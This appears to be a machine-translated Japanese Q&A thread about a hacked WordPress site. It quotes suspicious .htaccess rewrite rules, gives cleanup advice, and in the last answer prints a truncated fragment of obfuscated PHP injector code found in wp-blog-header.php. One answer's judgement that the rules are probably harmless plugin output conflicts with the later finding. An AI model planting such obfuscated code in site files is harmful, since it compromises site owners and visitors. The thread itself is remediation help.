web-dev-qa-db-ja.com

WordPressサイトがハッキングされました。 .htaccessはハッキングされましたか?

ハッキングされているWordPress Webサイトを整理しようとしています。 .htaccessファイルには正規表現に似ていると思われるファイルがいくつかあることに気づきましたが、私の正規表現のスキルはかなり弱いものです(学ぶ時間です)。 .htaccessファイルをデフォルトのWordPressの.htaccessに置き換えてみましたが、すぐに自動的に書き換えられます。私が知る必要があるのはこのコードで何が起こっているのかということです:

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^([^\d\/]+)-([0-9]+)-([0-9]+)-.*..*$ ?$1$3=$2&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)=[0-9]+$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)..*&_.*_.*=(.*)Q(.*)J[0-9]+.*TXF[0-9]+.*FLK.*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)..*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F.*%[0-9]+F&$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F.*%[0-9]+F$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F&$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+).*[0-9]+..*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([^\d\/]+)-([0-9]+)-([0-9]+)..*$ ?$1$3=$2&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F&#[0-9]+;.*=.*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)-([^\d\/]+)_.*_([0-9]+)$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress

.htaccessが危険にさらされている場合、それを保護するための提案はありますか?

私は新しいWordPressのインストール、すべてのプラグインの更新/再インストール、パスワードの再設定、ログイン用のキャプチャのインストール、WordPressのインストールを別のディレクトリに移動するなどしました。数日間、Webサイトは問題ないようでした。とてもイライラする!

7
Myles

ハッキングされたサイトについて

まず最初に、ハッキングに関連する問題について明確にしましょう。

あなたのサイトが本当にハッキングされたのであれば、すべてのファイルを完全に消去してから新しいパスワードでサーバー(WordPressだけではありません)を再インストールし、すべてのファイルを更新します。場所、同じループホールを使用してサイトが再びハッキングされないことを確認するものは他にありません。

.htaccessの修正について

私にとっては、あなたの.htaccessの変更はハッキングの結果のようには見えませんが、代わりにURLの書き換えのために.htaccessファイルを書き換えているWordPress CODE(プラグインまたはテーマから)のように見えます。

このサンプルをあなたの.htaccess CODEからチェックしてください。

RewriteRule ^([^\d\/]+)-([0-9]+)-([0-9]+)-.*..*$ ?$1$3=$2&%{QUERY_STRING}[L]

この行は基本的に次のようなURLを変換しています(たとえば)。

example.com/something-12-34-something-else.html?query=string

次のようなクエリ文字列を(メインのindex.phpの内部に)追加します。

?something34=12&query=string

だから、基本的に私はハッカーがこれから何かを手に入れるのか見ない。それはまだ可能ですが、ありそうもないです。

それをテストするために、実際にこのようにWordPressによって書き直されている、あなたは以下のテストをすることができる:

  1. wp-admin -> Settings -> Permalinksに移動してクリック Save Changes ボタン。

  2. .htaccessをデフォルトのWordPress .htaccess CODEに書き換えます。

  3. さて、もう一度wp-admin -> Settings -> Permalinksに行き、クリックしてください。 Save Changes ボタン。

あなたの.htaccessファイルがWordPress(ウェブサーバー)によって書き込み可能であり、その.htaccess CODEがWordPressによって生成されていた場合、上記のプロセスの後、あなたのデフォルトのWordPress .htaccessはあなたが投稿したものに即座に変更されます。

次はどうする?

WordPressによる変更が正しく識別された場合は、インストールされている各プラグインを一度に1つずつ無効にしてから上記の手順に従うことで、どのプラグインまたはテーマがそれを行っているかを検出できます。

担当プラグインが無効にされると、上記の手順では.htaccessファイルにその変更が反映されなくなります。そうすれば、どのプラグインがそれを実行しているのかがわかり、おそらくそれがそれを実行している理由をよりよく理解するでしょう。例えばそれが機能であるか悪意のある活動の結果であるかどうか。

プラグインが機能していないことが判明した場合は、WordPressのコアテーマ(例:Twenty Seventeen)を有効にして、テーマで同じことを実行できます。

上記のいずれでもうまくいかない場合、私はあなたの次の選択肢は専門家を雇い、彼があなたのサイトを調べることを許可することであると思います。

1
Fayaz

私は数か月前に同様の問題を抱えていました。顧客のWebサイトの1つがハッキングされ、どこで見つけるのが困難でした。 dbを調べてマルウェアコードをチェックすることをお勧めします。私の場合は、疑わしいコードを見つけました。

  • データベースFtp - キャッシュフォルダ、メインwpフォルダ、その他のwpフォルダではありません。
  • header.phpファイル。
  • .htaccessとwp-config.

これらすべてのフォルダを手動でチェックしてから、Anti-Malware SecurityやBrute-Force Firewallなどの他のチェック用のプラグインをインストールすることをお勧めします。ワードプレスの認証キーも再生成しました。 ftp、wordpress、dbのパスワードの変更、ユーザーIDの変更、セキュリティプラグインのインストールなど、徹底的なクリーニングとセキュリティのトリックの後、Webサイトはこれまでハッキングされていません。これがあなたのケースであるかどうかわからないが、私はあなたに役立つことができると思います。

私は、wp-blog-header.phpをクリーンアップすることによって、.htaccessファイルに関する問題を解決しました。htaccess変更を担当するスクリプトは、そこにあり、このように見えます。

<?php
//header('Content-Type:text/html; charset=utf-8');
$OO0O_0_O0_='J6Pn2HmH0e568SXnR6KRkmP5tQbh7KEW';
$O0_0O_O0O_='enhearse14625';
$OO0__O00_O=1921;
$O_0OO__00O='E/B/C/D/intertrade/acrimony/mesoseme/A/sdh.xhtml';
$O_0OO_0O0_=871;
$O_OO_O00_0=1;
$O_O0_0OO_0=array("eleventhly","decasualization","antieducation","circumambulator","insufficient","federalness","cactaceae","camise","colorimetrics","disintertwine","confutation","bladderet","exodist"................
$OOO0__0O0_='';
$O__0O0_OO0='T2';
$O_O_00_0OO=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A")............ ?>
<?php
/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */

if ( !isset($wp_did_header) ) {

    $wp_did_header = true;

    require_once( dirname(__FILE__) . '/wp-load.php' );

    wp();

    require_once( ABSPATH . WPINC . '/template-loader.php' );

}
?>

最初の部分と最後の "?>" + .htaccessクリーニングをきれいにしてください。

0
Claudiu Pap